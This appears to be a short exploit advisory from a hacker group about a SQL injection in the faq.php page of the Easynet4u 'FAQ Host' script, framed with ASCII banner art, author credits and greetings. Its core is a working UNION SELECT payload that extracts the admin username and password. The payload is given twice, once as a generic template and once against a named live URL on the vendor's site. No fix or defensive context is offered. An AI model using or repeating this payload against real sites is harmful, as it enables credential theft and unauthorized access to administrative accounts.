Easyney4u FAQ Host suffers from a remote SQL injection vulnerability in faq.php.
5602933e579c3c3a3804ae7c5fe03dc15a1fad5fd0ca7229317868fa56f788e4
#### # # ###### ##########
# # # # # # #
#### # # # # ######### # #
# # # ##### ######### # #
# # # # # ## ##########
#### ###### #######
############### >>> Remote SQL Injection <<< #########
## CoNsTaNtiNe HaCkErS25 ##
################## >>> SuB-ZeRo <<< ################
author : SuB-ZeRo(AlGeRiA-HaCkErS)
contact : FbH@hotmail.com
homepage: www.no-exploit.com
script : faq_host script
download: http://www.easynet4u.com/easyshop/index.php?do=catalog&c=remotely_hosted_scripts&i=faq_host
dork : find it
exploit:
www.site.me/script/faq.php?faq=1+union+select+1,2,concat(username,0x3a,password),4,5,6+from+admin--
L!Ve DeMo
http://www.easynet4u.com/faqs/faq.php?faq=1+union+select+1,2,concat(username,0x3a,password),4,5,6+from+admin--
########### Greetz #############
>>> SuB-ZeRo
>>>my best freinds :: x.CJP.X & ach2008 & carlos the jackel & crazy-zero & bibi-info & HiSoK4
>>> all muslims